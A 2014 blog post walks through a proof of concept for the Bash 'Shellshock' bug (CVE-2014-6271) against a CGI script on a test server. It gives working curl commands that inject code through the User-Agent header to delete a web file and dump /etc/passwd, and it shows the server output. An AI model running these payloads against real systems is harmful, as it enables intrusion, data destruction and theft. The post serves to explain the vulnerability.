CVE-2014-6271

 Security  Add comments
Sep 252014
 
A fun Bash bug: it doesn’t stop interpreting a variable at the end of a functions, and is, therefore, susceptible to arbitrary command execution. If you’re using CGIs, this becomes RCE.
For this example, I’ve chosen to abuse the user-agent setting:
1
2
3
$ curl http://192.168.0.1/target
 
PoC||GTFO
Great, we get a page. Now lets go looking for a CGI script… and as it happens, we’ve found one, poc.cgi:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/bash
 
echo “Content-type: text/html”
echo “”
 
echo ‘<html>’
echo ‘<head>’
echo ‘<meta http-equiv=”Content-Type” content=”text/html; charset=UTF-8″>’
echo ‘<title>PoC</title>’
echo ‘</head>’
echo ‘<body>’
echo ‘<pre>’
/usr/bin/env
echo ‘</pre>’
echo ‘</body>’
echo ‘</html>’
 
exit 0
Requesting this CGI gives a nice picture of the environment:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ curl http://192.168.0.1/poc.cgi
 
<html>
<head>
<meta http–equiv=“Content-Type” content=“text/html; charset=UTF-8”>
<title>PoC</title>
</head>
<body>
<pre>
SERVER_SIGNATURE=<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
 
HTTP_USER_AGENT=curl/7.26.0
SERVER_PORT=80
HTTP_HOST=192.168.0.1
DOCUMENT_ROOT=/var/www
SCRIPT_FILENAME=/var/www/poc.cgi
REQUEST_URI=/poc.cgi
SCRIPT_NAME=/poc.cgi
REMOTE_PORT=40974
PATH=/usr/local/bin:/usr/bin:/bin
PWD=/var/www
SERVER_ADMIN=webmaster@localhost
HTTP_ACCEPT=*/*
REMOTE_ADDR=192.168.0.1
SHLVL=1
SERVER_NAME=192.168.0.1
SERVER_SOFTWARE=Apache/2.2.22 (Debian)
QUERY_STRING=
SERVER_ADDR=192.168.0.1
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
_=/usr/bin/env
</pre>
</body>
</html>
Now, using the Bash bug, and the handy flag for setting the user-agent with curl, we do the following evil thing:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ curl –A “() { :; }; /bin/rm /var/www/target” http://192.168.0.1/poc.cgi
 
<!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator,
webmaster@localhost and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.</p>
<p>More information about this error may be available
in the server error log.</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
</body></html>
Notice that I’ve used a path that is owned by the webserver to avoid permission issues. Also, in quick testing, anything that wrote to STDOUT caused header errors. I even tried sending the content type in the user-agent definition. Back to checking on the damage that we have done:
1
2
3
4
5
6
7
8
9
10
11
$ curl http://192.168.0.1/target
 
<!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>
<html><head< span style="border: 0px; color: rgb(172, 153, 171) !important; font-family: inherit; font-size: inherit !important; font-style: inherit; font-weight: inherit !important; height: inherit; line-height: inherit !important; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /target was not found on this server.</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
</body></html>
So there it is, RCE for a Bash CGI script.

Update 1:

Getting around the STDOUT issue wrecking headers is easier than I thought; cat the file and redirect the output, then fetch the file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ curl –A ‘() { :; }; /bin/cat /etc/passwd > dumped_file’ http://192.168.0.1/poc.cgi
 
<!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator,
webmaster@localhost and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.</p>
<p>More information about this error may be available
in the server error log.</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
</body></html>
and the fetch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ curl http://192.168.0.1/dumped_file
 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www–data:x:33:33:www–data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug–Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian–exim:x:101:103::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin

 Update 2:

Seeing some slick reverse shells now on pastebin. This is going to be nasty, especially on embedded systems that aren’t using busybox.

Update 3:

Talked with @loganattwood OOB about timing attacks against DHCP lease expiry & passing shellcode via DHCP options. Nice privilege escalation scenario.